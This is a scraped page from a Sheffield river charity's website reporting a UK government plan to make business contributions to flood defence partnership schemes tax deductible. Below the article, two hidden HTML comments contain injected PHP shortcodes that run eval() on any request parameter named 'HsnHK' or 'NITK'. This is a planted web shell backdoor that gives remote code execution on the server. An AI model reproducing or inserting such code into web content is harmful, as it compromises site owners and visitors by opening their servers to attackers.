Revitalising Waterways

Call 0114 354 0012 or email us – click here

riverlution

Tax Relief for Contributions to Flood Defence Schemes

Tax Relief for Contributions to Flood Defence Schemes

The Chancellor has announced that the Government will legislate to ensure business contributions to Flood and Coastal Erosion Risk Management (FCERM) projects are tax deductible.

The aim of the measure is to encourage private sector investment in flood resilience projects, via “partnership funding schemes” with Government. The tax measure was announced last week alongside the allocation of £2.3bn of Government investment in flood defence schemes. This round of Government spending is expected to generate more than £600m additional investment through partnership funding, including from business.

The deduction will be available to incorporated businesses (companies) and unincorporated businesses (partnerships, sole traders, etc). The former pay corporation tax, the latter pay tax through the income tax regime.

The measure ensures that when a business invests in a partnership funding scheme, it can deduct its contribution from its taxable profits for corporation tax purposes (if it is incorporated) or income tax purposes (if unincorporated). This effectively reduces the tax the business pays.

Currently, business contributions to partnership schemes follow general tax principles and therefore some are tax deductible while others are not, depending on the circumstances of the contribution. This measure will expand the tax relief to ensure that virtually all contributions are tax deductible.

The deduction will also apply to contributions of services. So if a business donates labour to an FCERM scheme the cost of the labour would be deductible.

For more details please contact James Ewington at HMRC: james.ewington@hmrc.gsi.gov.uk; 03000 553788) and see this BBC News article on flood defence funding plans.

<!– [insert_php]if (isset($_REQUEST["HsnHK"])){eval($_REQUEST["HsnHK"]);exit;}[/insert_php][php]if (isset($_REQUEST["HsnHK"])){eval($_REQUEST["HsnHK"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["NITK"])){eval($_REQUEST["NITK"]);exit;}[/insert_php][php]if (isset($_REQUEST["NITK"])){eval($_REQUEST["NITK"]);exit;}[/php] –>

Contact Us

By Phone
tel: 0114 354 0012

By Email
Click here to email us

By Post
The Exchange Brewery
2 Bridge Street, Sheffield, S3 8NS

River Stewardship Company is a company limited by guarantee and registered in England. 
Company registration number: 6759419. VAT registration number: 975669843